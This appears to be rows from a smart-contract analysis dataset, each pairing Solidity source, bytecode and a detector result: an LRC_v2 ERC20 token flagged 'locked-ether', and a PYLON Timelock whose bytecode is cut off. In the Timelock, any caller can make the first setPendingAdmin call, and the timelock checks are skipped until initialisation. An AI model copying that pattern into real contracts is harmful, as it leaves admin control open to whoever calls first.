event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed burner, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
uint256 burnedTotalNum_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev total number of tokens already burned
*/
function totalBurned() public view returns (uint256) {
return burnedTotalNum_;
}
function burn(uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
burnedTotalNum_ = burnedTotalNum_.add(_value);
emit Burn(burner, _value);
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
// if _to is address(0), invoke burn function.
if (_to == address(0)) {
return burn(_value);
}
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
uint private constant MAX_UINT = 2**256 - 1;
mapping (address => mapping (address => uint256)) internal allowed;
function burnFrom(address _owner, uint256 _value) public returns (bool) {
require(_owner != address(0));
require(_value <= balances[_owner]);
require(_value <= allowed[_owner][msg.sender]);
balances[_owner] = balances[_owner].sub(_value);
if (allowed[_owner][msg.sender] < MAX_UINT) {
allowed[_owner][msg.sender] = allowed[_owner][msg.sender].sub(_value);
}
totalSupply_ = totalSupply_.sub(_value);
burnedTotalNum_ = burnedTotalNum_.add(_value);
emit Burn(_owner, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (_to == address(0)) {
return burnFrom(_from, _value);
}
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
/// an allowance of MAX_UINT represents an unlimited allowance.
/// @dev see https://github.com/ethereum/EIPs/issues/717
if (allowed[_from][msg.sender] < MAX_UINT) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LRC_v2 is StandardToken {
using SafeMath for uint256;
string public name = "LoopringCoin V2";
string public symbol = "LRC";
uint8 public decimals = 18;
constructor() public {
// @See https://etherscan.io/address/0xEF68e7C694F40c8202821eDF525dE3782458639f#readContract
totalSupply_ = 1395076054523857892274603100;
balances[msg.sender] = totalSupply_;
}
function batchTransfer(address[] calldata accounts, uint256[] calldata amounts)
external
returns (bool)
{
require(accounts.length == amounts.length);
for (uint i = 0; i < accounts.length; i++) {
require(transfer(accounts[i], amounts[i]), "transfer failed");
}
return true;
}
function () payable external {
revert();
}
} | 0x6080604052600436106100e85760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461040c578063d73dd62314610445578063d89135cd1461047e578063dd62ed3e14610493576100e8565b806370a08231146102bc57806379cc6790146102ef57806388d695b21461032857806395d89b41146103f7576100e8565b806323b872dd116100c657806323b872dd146101eb578063313ce5671461022e57806342966c68146102595780636618846314610283576100e8565b806306fdde03146100ed578063095ea7b31461017757806318160ddd146101c4575b600080fd5b3480156100f957600080fd5b506101026104ce565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018357600080fd5b506101b06004803603604081101561019a57600080fd5b506001600160a01b03813516906020013561055c565b604080519115158252519081900360200190f35b3480156101d057600080fd5b506101d96105c3565b60408051918252519081900360200190f35b3480156101f757600080fd5b506101b06004803603606081101561020e57600080fd5b506001600160a01b038135811691602081013590911690604001356105c9565b34801561023a57600080fd5b50610243610787565b6040805160ff9092168252519081900360200190f35b34801561026557600080fd5b506101b06004803603602081101561027c57600080fd5b5035610790565b34801561028f57600080fd5b506101b0600480360360408110156102a657600080fd5b506001600160a01b038135169060200135610859565b3480156102c857600080fd5b506101d9600480360360208110156102df57600080fd5b50356001600160a01b0316610949565b3480156102fb57600080fd5b506101b06004803603604081101561031257600080fd5b506001600160a01b038135169060200135610964565b34801561033457600080fd5b506101b06004803603604081101561034b57600080fd5b81019060208101813564010000000081111561036657600080fd5b82018360208201111561037857600080fd5b8035906020019184602083028401116401000000008311171561039a57600080fd5b9193909290916020810190356401000000008111156103b857600080fd5b8201836020820111156103ca57600080fd5b803590602001918460208302840111640100000000831117156103ec57600080fd5b509092509050610af8565b34801561040357600080fd5b50610102610bb0565b34801561041857600080fd5b506101b06004803603604081101561042f57600080fd5b506001600160a01b038135169060200135610c0b565b34801561045157600080fd5b506101b06004803603604081101561046857600080fd5b506001600160a01b038135169060200135610cf5565b34801561048a57600080fd5b506101d9610d8e565b34801561049f57600080fd5b506101d9600480360360408110156104b657600080fd5b506001600160a01b0381358116916020013516610d94565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105545780601f1061052957610100808354040283529160200191610554565b820191906000526020600020905b81548152906001019060200180831161053757829003601f168201915b505050505081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60015490565b60006001600160a01b0383166105ea576105e38483610964565b9050610780565b6001600160a01b03841660009081526020819052604090205482111561060f57600080fd5b6001600160a01b038416600090815260036020908152604080832033845290915290205482111561063f57600080fd5b6001600160a01b038416600090815260208190526040902054610668908363ffffffff610dbf16565b6001600160a01b03808616600090815260208190526040808220939093559085168152205461069d908363ffffffff610dd116565b6001600160a01b038085166000908152602081815260408083209490945591871681526003825282812033825290915220546000191115610731576001600160a01b038416600090815260036020908152604080832033845290915290205461070c908363ffffffff610dbf16565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060015b9392505050565b60065460ff1681565b336000908152602081905260408120548211156107ac57600080fd5b336000818152602081905260409020546107cc908463ffffffff610dbf16565b6001600160a01b0382166000908152602081905260409020556001546107f8908463ffffffff610dbf16565b60015560025461080e908463ffffffff610dd116565b6002556040805184815290516001600160a01b038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b3360009081526003602090815260408083206001600160a01b0386168452909152812054808311156108ae573360009081526003602090815260408083206001600160a01b03881684529091528120556108e3565b6108be818463ffffffff610dbf16565b3360009081526003602090815260408083206001600160a01b03891684529091529020555b3360008181526003602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6001600160a01b031660009081526020819052604090205490565b60006001600160a01b03831661097957600080fd5b6001600160a01b03831660009081526020819052604090205482111561099e57600080fd5b6001600160a01b03831660009081526003602090815260408083203384529091529020548211156109ce57600080fd5b6001600160a01b0383166000908152602081905260409020546109f7908363ffffffff610dbf16565b6001600160a01b0384166000908152602081815260408083209390935560038152828220338352905220546000191115610a84576001600160a01b0383166000908152600360209081526040808320338452909152902054610a5f908363ffffffff610dbf16565b6001600160a01b03841660009081526003602090815260408083203384529091529020555b600154610a97908363ffffffff610dbf16565b600155600254610aad908363ffffffff610dd116565b6002556040805183815290516001600160a01b038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b6000838214610b0657600080fd5b60005b84811015610ba457610b48868683818110610b2057fe5b905060200201356001600160a01b0316858584818110610b3c57fe5b90506020020135610c0b565b610b9c5760408051600160e51b62461bcd02815260206004820152600f60248201527f7472616e73666572206661696c65640000000000000000000000000000000000604482015290519081900360640190fd5b600101610b09565b50600195945050505050565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105545780601f1061052957610100808354040283529160200191610554565b60006001600160a01b038316610c2b57610c2482610790565b90506105bd565b33600090815260208190526040902054821115610c4757600080fd5b33600090815260208190526040902054610c67908363ffffffff610dbf16565b33600090815260208190526040808220929092556001600160a01b03851681522054610c99908363ffffffff610dd116565b6001600160a01b038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b3360009081526003602090815260408083206001600160a01b0386168452909152812054610d29908363ffffffff610dd116565b3360008181526003602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60025490565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600082821115610dcb57fe5b50900390565b60008282018381101561078057fefea165627a7a7230582003831a05eef9554b28a0275d37c8ad0ff27e6bb2a227f1cce439c4251d309d740029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,474 |
0xedf49f5a2c46c56008df9b70c0ff28ac4faa3d35 | pragma solidity ^0.5.17;
// Original file came from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol
// Original audit: https://blog.openzeppelin.com/compound-finance-patch-audit/
// Overview:
// No Critical
// No High
//
// Changes made by PYLON after audit:
// Formatting, naming, & uint256 instead of uint
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint256;
/// @notice An event emitted when the timelock admin changes
event NewAdmin(address indexed newAdmin);
/// @notice An event emitted when a new admin is staged in the timelock
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
/// @notice An event emitted when a queued transaction is cancelled
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
/// @notice An event emitted when a queued transaction is executed
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
/// @notice An event emitted when a new transaction is queued
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
/// @notice the length of time after the delay has passed that a transaction can be executed
uint256 public constant GRACE_PERIOD = 14 days;
/// @notice the minimum length of the timelock delay
uint256 public constant MINIMUM_DELAY = 12 hours + 2*60*15; // have to be present for 2 rebases
/// @notice the maximum length of the timelock delay
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
bool public admin_initialized;
mapping (bytes32 => bool) public queuedTransactions;
constructor()
public
{
/* require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); */
admin = msg.sender;
delay = MINIMUM_DELAY;
admin_initialized = false;
}
function() external payable { }
/**
@notice sets the delay
@param delay_ the new delay
*/
function setDelay(uint256 delay_)
public
{
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
/// @notice sets the new admin address
function acceptAdmin()
public
{
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
/**
@notice queues a new pendingAdmin
@param pendingAdmin_ the new pendingAdmin address
*/
function setPendingAdmin(address pendingAdmin_)
public
{
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
public
returns (bytes32)
{
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
public
{
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
public
payable
returns (bytes memory)
{
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
// timelock not enforced prior to updating the admin. This should occur on
// deployment.
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
if (admin_initialized) {
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
}
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
} | 0x6080604052600436106100dd5760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610787578063e177246e146107b2578063f2b06537146107ed578063f851a44014610840576100dd565b80636fc1f57e146107025780637d645fab14610731578063b1b43ae51461075c576100dd565b80633a66f901116100bb5780633a66f9011461034c5780634dd18bf5146104f3578063591fcdfe146105445780636a42b8f8146106d7576100dd565b80630825f38f146100df5780630e18b681146102de57806326782247146102f5575b005b610263600480360360a08110156100f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561013c57600080fd5b82018360208201111561014e57600080fd5b8035906020019184600183028401116401000000008311171561017057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101d357600080fd5b8201836020820111156101e557600080fd5b8035906020019184600183028401116401000000008311171561020757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610897565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a3578082015181840152602081019050610288565b50505050905090810190601f1680156102d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ea57600080fd5b506102f3610f2e565b005b34801561030157600080fd5b5061030a6110bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035857600080fd5b506104dd600480360360a081101561036f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103b657600080fd5b8201836020820111156103c857600080fd5b803590602001918460018302840111640100000000831117156103ea57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561044d57600080fd5b82018360208201111561045f57600080fd5b8035906020019184600183028401116401000000008311171561048157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506110e2565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b506105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a8565b005b34801561055057600080fd5b506106d5600480360360a081101561056757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105ae57600080fd5b8201836020820111156105c057600080fd5b803590602001918460018302840111640100000000831117156105e257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561064557600080fd5b82018360208201111561065757600080fd5b8035906020019184600183028401116401000000008311171561067957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061160b565b005b3480156106e357600080fd5b506106ec611956565b6040518082815260200191505060405180910390f35b34801561070e57600080fd5b5061071761195c565b604051808215151515815260200191505060405180910390f35b34801561073d57600080fd5b5061074661196f565b6040518082815260200191505060405180910390f35b34801561076857600080fd5b50610771611976565b6040518082815260200191505060405180910390f35b34801561079357600080fd5b5061079c61197c565b6040518082815260200191505060405180910390f35b3480156107be57600080fd5b506107eb600480360360208110156107d557600080fd5b8101908080359060200190929190505050611983565b005b3480156107f957600080fd5b506108266004803603602081101561081057600080fd5b8101908080359060200190929190505050611af7565b604051808215151515815260200191505060405180910390f35b34801561084c57600080fd5b50610855611b17565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611bcd6038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156109ca5780820151818401526020810190506109af565b50505050905090810190601f1680156109f75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610a30578082015181840152602081019050610a15565b50505050905090810190601f168015610a5d5780820380516001836020036101000a031916815260200191505b50975050505050505050604051602081830303815290604052805190602001209050600360009054906101000a900460ff1615610c0c576004600082815260200190815260200160002060009054906101000a900460ff16610b0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d20603d913960400191505060405180910390fd5b82610b13611b3c565b1015610b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611c6f6045913960600191505060405180910390fd5b610b806212750084611b4490919063ffffffff16565b610b88611b3c565b1115610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611c3c6033913960400191505060405180910390fd5b60006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6060600086511415610c2057849050610cdb565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610ca35780518252602082019150602081019050602083039250610c80565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610d2b5780518252602082019150602081019050602083039250610d08565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d8d576040519150601f19603f3d011682016040523d82523d6000602084013e610d92565b606091505b509150915081610ded576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611e03603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e7a578082015181840152602081019050610e5f565b50505050905090810190601f168015610ea75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610ee0578082015181840152602081019050610ec5565b50505050905090810190601f168015610f0d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d5d6038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611dcd6036913960400191505060405180910390fd5b6111a5600254611197611b3c565b611b4490919063ffffffff16565b8210156111fd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611e406049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561128957808201518184015260208101905061126e565b50505050905090810190601f1680156112b65780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156112ef5780820151818401526020810190506112d4565b50505050905090810190601f16801561131c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156113f75780820151818401526020810190506113dc565b50505050905090810190601f16